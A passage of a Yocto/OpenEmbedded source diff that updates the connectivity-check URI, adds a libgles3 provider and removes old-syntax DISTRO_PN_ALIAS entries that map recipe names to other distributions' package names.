-CONNECTIVITY_CHECK_URIS ?= "https://www.example.com/"
+# Git example url: git://git.yoctoproject.org/yocto-firewall-test;protocol=git;rev=master;branch=master
+CONNECTIVITY_CHECK_URIS ?= "https://yoctoproject.org/connectivity.html"
diff --git a/meta/conf/distro/include/default-providers.inc b/meta/conf/distro/include/default-providers.inc
index ea88bd4876..6defdca12d 100644
--- a/meta/conf/distro/include/default-providers.inc
+++ b/meta/conf/distro/include/default-providers.inc
@@ -9,6 +9,7 @@ PREFERRED_PROVIDER_virtual/libgl-native ?= "mesa-native"
PREFERRED_PROVIDER_virtual/nativesdk-libgl ?= "nativesdk-mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
PREFERRED_PROVIDER_virtual/mesa ?= "mesa"
PREFERRED_PROVIDER_virtual/update-alternatives ?= "opkg-utils"
PREFERRED_PROVIDER_virtual/update-alternatives-native ?= "opkg-utils-native"
diff --git a/meta/conf/distro/include/default-versions.inc b/meta/conf/distro/include/default-versions.inc
index a6f331350e..a88b65a74c 100644
--- a/meta/conf/distro/include/default-versions.inc
+++ b/meta/conf/distro/include/default-versions.inc
@@ -1,4 +1,3 @@
#
# Default preferred versions
#
-
diff --git a/meta/conf/distro/include/distro_alias.inc b/meta/conf/distro/include/distro_alias.inc
index e314642b9c..e43c0acd80 100644
--- a/meta/conf/distro/include/distro_alias.inc
+++ b/meta/conf/distro/include/distro_alias.inc
@@ -5,400 +5,383 @@
#
# The format is as a bitbake variable override for each recipe
#
-# DISTRO_PN_ALIAS_pn-<recipe name> = "Distro1=<pkgname> Distro2=<pkgname>"
+# DISTRO_PN_ALIAS:pn-<recipe name> = "Distro1=<pkgname> Distro2=<pkgname>"
#
# Please keep this list in alphabetical order.
#
-DISTRO_PN_ALIAS_pn-alsa-state = "OE-Core"
-DISTRO_PN_ALIAS_pn-alsa-utils-alsaconf = "OE-Core"
-DISTRO_PN_ALIAS_pn-alsa-utils-scripts = "OE-Core"
-DISTRO_PN_ALIAS_pn-atk = "Fedora=atk OpenSuSE=atk"
-DISTRO_PN_ALIAS_pn-avahi-ui = "Ubuntu=avahi-discover Debian=avahi-discover"
-DISTRO_PN_ALIAS_pn-babeltrace = "OSPDT"
-DISTRO_PN_ALIAS_pn-bjam = "OpenSuSE=boost-jam Debina=bjam"
-DISTRO_PN_ALIAS_pn-blktool = "Debian=blktool Mandriva=blktool"
-DISTRO_PN_ALIAS_pn-bluez5 = "Fedora=bluez Opensuse=bluez"
-DISTRO_PN_ALIAS_pn-bootchart2 = "Fedora=bootchart2 Opensuse=bootchart"
-DISTRO_PN_ALIAS_pn-btrfs-tools = "Debian=btrfs-tools Fedora=btrfs-progs"
-DISTRO_PN_ALIAS_pn-build-appliance-image = "OSPDT"
-DISTRO_PN_ALIAS_pn-build-compare = "Opensuse=build-compare Fedora=build-compare"
-DISTRO_PN_ALIAS_pn-builder = "OE-Core"
-DISTRO_PN_ALIAS_pn-buildtools-tarball = "OE-Core"
-DISTRO_PN_ALIAS_pn-cdrtools = "OpenSUSE=cdrtools OSPDT"
-DISTRO_PN_ALIAS_pn-chkconfig-alternatives = "Mandriva=chkconfig Debian=chkconfig"
-DISTRO_PN_ALIAS_pn-clutter = "Fedora=clutter OpenSuse=clutter Ubuntu=clutter-1.0 Mandriva=clutter Debian=clutter"
-DISTRO_PN_ALIAS_pn-clutter-1.8 = "Fedora=clutter OpenSuse=clutter Ubuntu=clutter-1.0 Mandriva=clutter Debian=clutter"
-DISTRO_PN_ALIAS_pn-clutter-gst-1.0 = "Debian=clutter-gst Ubuntu=clutter-gst Fedora=clutter-gst"
-DISTRO_PN_ALIAS_pn-clutter-gst-1.8 = "Fedora=clutter-gst Debian=libclutter-gst"
-DISTRO_PN_ALIAS_pn-clutter-gst-3.0 = "Ubuntu=libclutter-gst Debian=libclutter-gst"
-DISTRO_PN_ALIAS_pn-clutter-gtk-1.0 = "Debian=clutter-gtk Ubuntu=clutter-gtk Fedora=clutter-gtk"
-DISTRO_PN_ALIAS_pn-clutter-gtk-1.8 = "Fedora=clutter-gtk OpenSuSE=clutter-gtk Ubuntu=clutter-gtk-0.10 Mandriva=clutter-gtk Debian=clutter-gtk"
-DISTRO_PN_ALIAS_pn-cogl-1.0 = "Debian=cogl Ubuntu=cogl Fedora=cogl"
-DISTRO_PN_ALIAS_pn-cogl = "Fedora=cogl OpenSuse=cogl Ubuntu=cogl Mandriva=cogl Debian=cogl"
-DISTRO_PN_ALIAS_pn-connman = "Meego=connman"
-DISTRO_PN_ALIAS_pn-connman-conf = "OE-Core"
-DISTRO_PN_ALIAS_pn-connman-gnome = "Intel"
-DISTRO_PN_ALIAS_pn-console-tools = "Debian=console-tools Ubuntu=console-tools"
-DISTRO_PN_ALIAS_pn-core-image-base = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-clutter = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-full-cmdline = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-kernel-dev = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal-dev = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal-initramfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal-mtdutils = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-rt = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-rt-sdk = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-sato = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-sato-dev = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-sato-sdk = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-testmaster = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-testmaster-initramfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-weston = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-x11 = "OE-Core"
-DISTRO_PN_ALIAS_pn-createrepo-c = "Fedora=createrepo_c Clear=createrepo_c"
-DISTRO_PN_ALIAS_pn-cross-localedef = "OSPDT"
-DISTRO_PN_ALIAS_pn-cryptodev-linux = "OE-Core"
-DISTRO_PN_ALIAS_pn-cryptodev-module = "OE-Core"
-DISTRO_PN_ALIAS_pn-cryptodev-tests = "OE-Core"
-DISTRO_PN_ALIAS_pn-cwautomacros = "OSPDT upstream=http://cwautomacros.berlios.de/"
-DISTRO_PN_ALIAS_pn-db = "Debian=db5.1 Ubuntu=db5.1"
-DISTRO_PN_ALIAS_pn-dbus-test = "Fedora=dbus Ubuntu=dbus"
-DISTRO_PN_ALIAS_pn-dbus-wait = "OpenedHand"
-DISTRO_PN_ALIAS_pn-depmodwrapper-cross = "OE-Core"
-DISTRO_PN_ALIAS_pn-distcc = "Debian=distcc Fedora=distcc"
-DISTRO_PN_ALIAS_pn-distcc-config = "OpenedHand"
-DISTRO_PN_ALIAS_pn-docbook-dsssl-stylesheets = "Fedora=docbook-style-dsssl Ubuntu=docbook-dsssl"
-DISTRO_PN_ALIAS_pn-docbook-sgml-dtd-3.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd31-sgml"
-DISTRO_PN_ALIAS_pn-docbook-sgml-dtd-4.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd41-sgml"
-DISTRO_PN_ALIAS_pn-docbook-sgml-dtd-4.5 = "Fedora=docbook-dtds Mandriva=docbook-dtd42-sgml"
-DISTRO_PN_ALIAS_pn-docbook-xml-dtd4 = "Ubuntu=docbook-xml Fedora=docbook-dtds"
-DISTRO_PN_ALIAS_pn-docbook-xml-dtd4-native = "Ubuntu=docbook-xml Fedora=docbook-dtds"
-DISTRO_PN_ALIAS_pn-docbook-xsl-stylesheets = "Fedora=docbook-xsl-stylesheets Opensuse=docbook-xsl-stylesheets"
-DISTRO_PN_ALIAS_pn-dropbear = "Debian=dropbear Ubuntu=dropbear"
-DISTRO_PN_ALIAS_pn-dtc = "Fedora=dtc Ubuntu=dtc"
-DISTRO_PN_ALIAS_pn-encodings = "Ubuntu=xfonts-encodings Mandriva=x11-font-encodings Debian=xfonts-encodings"
-DISTRO_PN_ALIAS_pn-font-alias = "Fedora=xorg-x11-fonts-base Mandriva=x11-font-alias Meego=xorg-x11-fonts"
-DISTRO_PN_ALIAS_pn-font-util = "Meego=xorg-x11-font-utils Fedora=xorg-x11-font-utils Ubuntu=xfonts-utils Mandriva=x11-font-util Debian=xfonts-utils"
-DISTRO_PN_ALIAS_pn-formfactor = "OE-Core"
-DISTRO_PN_ALIAS_pn-gcc-cross-initial = "OE-Core"
-DISTRO_PN_ALIAS_pn-gcc-cross-initial-i586 = "OE-Core"
-DISTRO_PN_ALIAS_pn-gcc-crosssdk-initial = "OE-Core"
-DISTRO_PN_ALIAS_pn-gcc-crosssdk-initial-x86_64 = "OE-Core"
-DISTRO_PN_ALIAS_pn-gccmakedep = "Mandriva=gccmakedep Ubuntu=xutils-dev"
-DISTRO_PN_ALIAS_pn-gcc-runtime = "Ubuntu=gcc Fedora=gcc"
-DISTRO_PN_ALIAS_pn-gcc-sanitizers = "Ubuntu=gcc Fedora=gcc"
-DISTRO_PN_ALIAS_pn-gcc-source = "Ubuntu=gcc Fedora=gcc"
-DISTRO_PN_ALIAS_pn-gconf-dbus = "Meego=GConf-dbus"
-DISTRO_PN_ALIAS_pn-gdk-pixbuf = "Debian=libgdk-pixbuf2.0 Fedora=gdk-pixbuf"
-DISTRO_PN_ALIAS_pn-gdk-pixbuf-csource = "Debian=libgdk-pixbuf2.0-0 Fedora=gdk-pixbuf2"
-DISTRO_PN_ALIAS_pn-gettext-minimal = "Debian=gettext Fedora=gettext"
-DISTRO_PN_ALIAS_pn-glib-2.0 = "Meego=glib2 Fedora=glib2 OpenSuSE=glib2 Ubuntu=glib2.0 Mandriva=glib2.0 Debian=glib2.0"
-DISTRO_PN_ALIAS_pn-glibc-locale = "OpenSuSE=glibc-locale Fedora=glibc-devel"
-DISTRO_PN_ALIAS_pn-glibc-mtrace = "Fedora=glibc-utils Ubuntu=libc-dev-bin"
-DISTRO_PN_ALIAS_pn-glibc-scripts = "Fedora=glibc Ubuntu=libc-bin"
-DISTRO_PN_ALIAS_pn-gnome-desktop-testing = "Debian=gnome-desktop-testing Fedora=gnome-desktop-testing"
-DISTRO_PN_ALIAS_pn-gnu-config = "OpenedHand"
-DISTRO_PN_ALIAS_pn-gptfdisk = "Fedora=gdisk Ubuntu=gdisk"
-DISTRO_PN_ALIAS_pn-grub-efi = "Debian=grub-efi Fedora=grub2-efi"
-DISTRO_PN_ALIAS_pn-grub-efi-i586 = "Debian=grub-efi Fedora=grub2-efi"
-DISTRO_PN_ALIAS_pn-grub-efi-x86-64 = "Debian=grub-efi Fedora=grub2-efi"
-DISTRO_PN_ALIAS_pn-gst-player = "Ubuntu=gst-player Fedora=gstreamer-player"
-DISTRO_PN_ALIAS_pn-gst-plugin-bluetooth = "Ubuntu=libgstreamer-plugins-base Fedora=gstreamer-plugins-base"
-DISTRO_PN_ALIAS_pn-gstreamer1.0 = "Debian=gstreamer1.0 Ubuntu=gstreamer1.0"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-meta-base = "Meego=gstreamer Fedora=gstreamer OpenSuSE=gstreamer Ubuntu=gstreamer0.10"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-plugins-bad = "Debian=gstreamer1.0-plugins-bad Ubuntu=gstreamer1.0-plugins-bad"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-plugins-base = "Debian=gstreamer1.0-plugins-base Ubuntu=gstreamer1.0-plugins-base"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-plugins-good = "Debian=gstreamer1.0-plugins-good Ubuntu=gstreamer1.0-plugins-bad"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-rtsp-server = "Ubuntu=gstreamer0.10-rtsp Fedora=gstreamer-rtsp"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-vaapi = "Fedora=gstreamer1-vaapi Debian=gstreamer-vaapi Clear=gstreamer-vaapi"
-DISTRO_PN_ALIAS_pn-gtk+ = "Meego=gtk2 Fedora=gtk2 OpenSuSE=gtk2 Ubuntu=gtk+2.0 Mandriva=gtk+2.0 Debian=gtk+2.0"
-DISTRO_PN_ALIAS_pn-gtk+3 = "Ubuntu=gtk+3.0 Debian=gtk+3.0 Fedora=gtk3"
-DISTRO_PN_ALIAS_pn-gtk-doc = "Fedora=gtk-doc Ubuntu=gtk-doc"
-DISTRO_PN_ALIAS_pn-gtk-engines = "Fedora=gtk2-engines OpenSuSE=gtk2-engines Ubuntu=gtk2-engines Mandriva=gtk-engines2 Debian=gtk2-engines"
-DISTRO_PN_ALIAS_pn-gtk-sato-engine = "OpenedHand"
-DISTRO_PN_ALIAS_pn-gtk-icon-utils-native = "OSPDT"
-DISTRO_PN_ALIAS_pn-systemd-boot = "Ubuntu=systemd-boot Fedora=systemd-boot"
-DISTRO_PN_ALIAS_pn-hello-mod = "OE-Core"
-DISTRO_PN_ALIAS_pn-hwlatdetect = "OSPDT"
-DISTRO_PN_ALIAS_pn-icecc-create-env = "OE-Core"
-DISTRO_PN_ALIAS_pn-init-ifupdown = "Debian=ifupdown Ubuntu=ifupdown"
-DISTRO_PN_ALIAS_pn-initramfs-boot = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-framework = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-boot = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install-efi = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install-efi-testfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install-testfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-initscripts = "Fedora=initscripts Mandravia=initscripts"
-DISTRO_PN_ALIAS_pn-iproute2 = "OSPDT"
-DISTRO_PN_ALIAS_pn-jpeg = "OpenSuSE=libjpeg Ubuntu=libjpeg62"
-DISTRO_PN_ALIAS_pn-kernel-devsrc = "Debian=linux-base Ubuntu=linux"
-DISTRO_PN_ALIAS_pn-kern-tools-native = "Windriver"
-DISTRO_PN_ALIAS_pn-keymaps = "OE-Core"
-DISTRO_PN_ALIAS_pn-kf = "OSPDT"
-DISTRO_PN_ALIAS_pn-lame = "Debian=lame Ubuntu=lame"
-DISTRO_PN_ALIAS_pn-ldconfig-native = "Ubuntu=libc-bin Fedora=glibc"
-DISTRO_PN_ALIAS_pn-liba52 = "Mandriva=a52dec Debian=a52dec"
-DISTRO_PN_ALIAS_pn-libacpi = "Ubuntu=libacpi Mandriva=libacpi"
-DISTRO_PN_ALIAS_pn-libatomics-ops = "Meego=libatomic-ops Debian=libatomic-ops Ubuntu=libatomic-ops OpenSuSE=libatomic-ops Mandriva=libatomic-ops"
-DISTRO_PN_ALIAS_pn-libcgroup = "Ubuntu=libcgroup1 Debian=libcgroup1"
-DISTRO_PN_ALIAS_pn-libcheck = "Ubuntu=check Fedora=check OpenSuSE=check"
-DISTRO_PN_ALIAS_pn-libclass-isa-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libdumpvalue-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libenv-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-liberation-fonts = "Ubuntu=fonts-liberation Fedora=liberation-fonts-ttf"
-DISTRO_PN_ALIAS_pn-libfakekey = "Meego1.0=libfakekey Debian=libfakekey"
-DISTRO_PN_ALIAS_pn-libfile-checktree-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libfm-extra = "Opensuse=libfm-extra4 Ubuntu=libfm-extra4"
-DISTRO_PN_ALIAS_pn-libgcc = "Debian=libgcc4 Ubuntu=libgcc1 OpenSuSE=libgcc46"
-DISTRO_PN_ALIAS_pn-libgdbus = "Intel"
-DISTRO_PN_ALIAS_pn-libglade = "Meego=libglade2 Fedora=libglade2 OpenSuSE=libglade2 Ubuntu=libglade2 Mandriva=libglade2.0 Debian=libglade2"
-DISTRO_PN_ALIAS_pn-libglu = "Debian=libglu Ubuntu=libglu Opensuse=mesa-libglu"
-DISTRO_PN_ALIAS_pn-libgu = "OpenSuSE=glu OSPDT"
-DISTRO_PN_ALIAS_pn-libi18n-collate-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libical = "Ubuntu=libical Fedora=libical"
-DISTRO_PN_ALIAS_pn-libiconv = "Fedora=mingw-libiconv Opensuse=cross-mingw-libiconv"
-DISTRO_PN_ALIAS_pn-libinput = "Ubuntu=libinput0 Fedora=libinput0"
-DISTRO_PN_ALIAS_pn-libjson = "Ubuntu=libjson0-dev Debian=libjson0-dev"
-DISTRO_PN_ALIAS_pn-libksba = "Fedora=libksba Debian=libksba8 Ubuntu=libksba"
-DISTRO_PN_ALIAS_pn-libmatchbox = "Ubuntu=libmatchbox Fedora=libmatchbox"
-DISTRO_PN_ALIAS_pn-libmpc = "Fedora=libmpc OpenSuse=libmpc2"
-DISTRO_PN_ALIAS_pn-libnewt = "Debian=libnewt0.52 Fedora=newt"
-DISTRO_PN_ALIAS_pn-libnewt-python = "Ubuntu=python-newt Fedora=newt-python"
-DISTRO_PN_ALIAS_pn-libnl = "Mandriva=libnl Fedora=libnl"
-DISTRO_PN_ALIAS_pn-libnss-mdns = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
-DISTRO_PN_ALIAS_pn-libomxil = "OSPDT upstream=http://omxil.sourceforge.net/"
-DISTRO_PN_ALIAS_pn-libowl = "Debian=owl OpenedHand"
-DISTRO_PN_ALIAS_pn-libpam = "Meego=pam Fedora=pam OpenSuSE=pam Ubuntu=pam Mandriva=pam Debian=pam"
-DISTRO_PN_ALIAS_pn-libpcre = "Mandriva=libpcre0 Fedora=pcre"
-DISTRO_PN_ALIAS_pn-libpcre2 = "Fedora=pcre2 Debian=pcre2 Clear=pcre2"
-DISTRO_PN_ALIAS_pn-libpng12 = "Debian=libpng12-0 Fedora=libpng"
-DISTRO_PN_ALIAS_pn-libpod-plainer-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libsamplerate0 = "Meego=libsamplerate Fedora=libsamplerate OpenSuSE=libsamplerate Ubuntu=libsamplerate Mandriva=libsamplerate Debian=libsamplerate"
-DISTRO_PN_ALIAS_pn-libsdl2 = "Fedora=sdl2 Opensuse=libsdl2 Ubuntu=libsdl2 Debian=libsdl2"
-DISTRO_PN_ALIAS_pn-libsndfile1 = "Meego=libsndfile Fedora=libsndfile OpenSuSE=libsndfile Ubuntu=libsndfile Mandriva=libsndfile Debian=libsndfile"
-DISTRO_PN_ALIAS_pn-libsoup-2.4 = "Meego=libsoup Fedora=libsoup OpenSuSE=libsoup Ubuntu=libsoup2.4 Mandriva=libsoup Debian=libsoup2.4"
-DISTRO_PN_ALIAS_pn-libtelepathy = "Debian=libtelepathy2 Ubuntu=libtelepathy2"
-DISTRO_PN_ALIAS_pn-libtimedate-perl = "Debian=libtimedate-perl Ubuntu=libtimedate-perl"
-DISTRO_PN_ALIAS_pn-liburcu = "Fedora=userspace-rcu Ubuntu=liburcu0"
-DISTRO_PN_ALIAS_pn-libusb1 = "Debian=libusb-1.0-0 Fedora=libusb1"
-DISTRO_PN_ALIAS_pn-libx11 = "Debian=libx11-6 Fedora=libX11 Ubuntu=libx11-6 OpenSuSE=xorg-x11-libX11"
-DISTRO_PN_ALIAS_pn-libxcalibrate = "OSPDT upstream=http://cgit.freedesktop.org/xorg/lib/libXCalibrate/"
-DISTRO_PN_ALIAS_pn-libxfont2 = "Fedora=libXfont2 Clear=libXfont2"
-DISTRO_PN_ALIAS_pn-libxft = "Mandriva=libxft Debian=libxft2 Ubuntu=libxft2"
-DISTRO_PN_ALIAS_pn-libxi = "Ubuntu=libxi Fedora=libXi"
-DISTRO_PN_ALIAS_pn-libxkbcommon = "Fedora=libxkbcommon Debian=libxkbcommon"
-DISTRO_PN_ALIAS_pn-libxscrnsaver = "Fedora=libXScrnSaver Ubuntu=libxss1 Mandriva=libxscrnsaver"
-DISTRO_PN_ALIAS_pn-linux-dummy = "Intel"
-DISTRO_PN_ALIAS_pn-linux-firmware = "Fedora=linux-firmware Ubuntu=linux-firmware"
-DISTRO_PN_ALIAS_pn-linux-libc-headers = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
-DISTRO_PN_ALIAS_pn-linux-libc-headers-yocto = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
-DISTRO_PN_ALIAS_pn-linux-yocto = "Debian=linux-base Ubuntu=linux"
-DISTRO_PN_ALIAS_pn-linux-yocto-rt = "Debian=linux-base Ubuntu=linux"
-DISTRO_PN_ALIAS_pn-linux-yocto-tiny = "OSPDT"
-DISTRO_PN_ALIAS_pn-ltp = "Mandriva=ltp Ubuntu=ltp"
-DISTRO_PN_ALIAS_pn-lttng-modules = "OSPDT upstream=http://lttng.org/"
-DISTRO_PN_ALIAS_pn-lttng-tools = "OSPDT upstream=http://lttng.org/"
-DISTRO_PN_ALIAS_pn-lttng-ust = "OSPDT upstream=http://lttng.org/"
-DISTRO_PN_ALIAS_pn-lz4 = "Debian=lz4 Fedora=lz4"
-DISTRO_PN_ALIAS_pn-lzo = "Debian=liblzo Ubuntu=liblzo Fedora=lzp"
-DISTRO_PN_ALIAS_pn-mailx = "Debian=bsd-mailx Ubuntu=bsd-mailx"
-DISTRO_PN_ALIAS_pn-makedepend = "Mandriva=makedepend Ubuntu=xutils-dev"
-DISTRO_PN_ALIAS_pn-makedevs = "OE-Core"
-DISTRO_PN_ALIAS_pn-matchbox-config-gtk = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-desktop = "Mandriva=matchbox-desktop Ubuntu=matchbox-desktop"
-DISTRO_PN_ALIAS_pn-matchbox-desktop-sato = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-keyboard = "Debian=matchbox-keyboard Fedora=matchbox-keyboard"
-DISTRO_PN_ALIAS_pn-matchbox-panel-2 = "Debian=matchbox-panel Mandriva=matchbox-panel Ubuntu=matchbox-panel"
-DISTRO_PN_ALIAS_pn-matchbox-session = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-session-sato = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-terminal = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-theme-sato = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-themes-extra = "Ubuntu=matchbox-themes-extra Mandriva=matchbox-themes-extra"
-DISTRO_PN_ALIAS_pn-matchbox-themes-gtk = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-wm = "OpenedHand"
-DISTRO_PN_ALIAS_pn-menu-cache = "OSPDT"
-DISTRO_PN_ALIAS_pn-mesa = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
-DISTRO_PN_ALIAS_pn-mesa-gl = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
-DISTRO_PN_ALIAS_pn-meta-environment-extsdk-qemux86 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-environment-i586 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-environment-qemux86 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-environment-qemux86-64 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-ide-support = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-toolchain = "OE-Core"
-DISTRO_PN_ALIAS_pn-mini-x-session = "OSPDT"
-DISTRO_PN_ALIAS_pn-mkelfimage = "Ubuntu=mkelfimage Fedora=mkelfimage"
-DISTRO_PN_ALIAS_pn-mkfontdir = "Mandriva=mkfontdir Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
-DISTRO_PN_ALIAS_pn-mkfontscale = "Mandriva=mkfontscale Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
-DISTRO_PN_ALIAS_pn-mmc-utils = "OE-Core"
-DISTRO_PN_ALIAS_pn-modutils-initscripts = "OE-Core"
-DISTRO_PN_ALIAS_pn-mtd-utils = "Debian=mtd-utils Ubuntu=mtd-utils"
-DISTRO_PN_ALIAS_pn-mx-1.0 = "Ubuntu=mx Debian=mx Fedora=mx"
-DISTRO_PN_ALIAS_pn-neard = "Intel"
-DISTRO_PN_ALIAS_pn-neon = "Fedora=neon Opensuse=neon"
-DISTRO_PN_ALIAS_pn-network-suspend-scripts = "OE-Core"
-DISTRO_PN_ALIAS_pn-nfs-export-root = "OpenedHand"
-DISTRO_PN_ALIAS_pn-npth = "OSPDT"
-DISTRO_PN_ALIAS_pn-nss-myhostname = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
-DISTRO_PN_ALIAS_pn-ofono = "Debian=ofono Ubuntu=ofono"
-DISTRO_PN_ALIAS_pn-oh-puzzles = "OpenedHand"
-DISTRO_PN_ALIAS_pn-opkg = "OSPDT upstream=http://svn.openmoko.org/trunk/src/tar"
-DISTRO_PN_ALIAS_pn-opkg-arch-config = "OE-Core"
-DISTRO_PN_ALIAS_pn-opkg-collateral = "OE-Core"
-DISTRO_PN_ALIAS_pn-opkg-keyrings = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
-DISTRO_PN_ALIAS_pn-opkg-nogpg = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
-DISTRO_PN_ALIAS_pn-opkg-utils = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
-DISTRO_PN_ALIAS_pn-os-release = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-base = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-boot = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-buildessential = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-clutter = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-device-devel = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-eclipse-debug = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-full-cmdline = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-nfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-sdk = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-ssh-dropbear = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-ssh-openssh = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-standalone-sdk-target = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools-debug = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools-profile = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools-testapps = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-base = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-mini = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-sato = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-xserver = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-cross-canadian-i586 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-cross-canadian-qemux86 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-cross-canadian-qemux86-64 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-sdk-host = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-self-hosted = "OE-Core"
-DISTRO_PN_ALIAS_pn-package-index = "OE-Core"
-DISTRO_PN_ALIAS_pn-patchelf = "Opensuse=patchelf Fedora=patchelf"
-DISTRO_PN_ALIAS_pn-perf = "OSPDT"
-DISTRO_PN_ALIAS_pn-piglit = "OE-Core"
-DISTRO_PN_ALIAS_pn-pkgconfig = "Ubuntu=pkg-config Fedora=pkgconfig"
-DISTRO_PN_ALIAS_pn-pointercal-xinput = "OE-Core"
-DISTRO_PN_ALIAS_pn-pong-clock = "OpenedHand"
-DISTRO_PN_ALIAS_pn-portmap = "Debian=rpcbind Fedora=rpcbind"
-DISTRO_PN_ALIAS_pn-powertop = "Meego=powertop Fedora=powertop Debian=powertop OpenSuSE=powertop Mandriva=powertop"
-DISTRO_PN_ALIAS_pn-ppp-dialin = "OE-Core"
-DISTRO_PN_ALIAS_pn-pseudo = "Windriver"
-DISTRO_PN_ALIAS_pn-psplash = "OpenedHand"
-DISTRO_PN_ALIAS_pn-ptest-runner = "OE-Core"
-DISTRO_PN_ALIAS_pn-pulseaudio-client-conf-sato = "OE-Core"
-DISTRO_PN_ALIAS_pn-puzzles = "Debian=sgt-puzzles Fedora=puzzles"
-DISTRO_PN_ALIAS_pn-python3 = "Fedora=python3 Debian=python3.2"
-DISTRO_PN_ALIAS_pn-python3-iniparse = "Fedora=python-iniparse Debian=python-iniparse"
-DISTRO_PN_ALIAS_pn-python3-pip = "OpenSuSE=python3-pip Debian=python3-pip"
-DISTRO_PN_ALIAS_pn-python3-pycurl = "Fedora=python-pycurl Debian=pycurl"
-DISTRO_PN_ALIAS_pn-python3-pygpgme = "Fedora=python-pygpgme Debian=pygpgme"
-DISTRO_PN_ALIAS_pn-python3-setuptools = "OpenSuSE=python3-setuptools Debian=python3-setuptools"
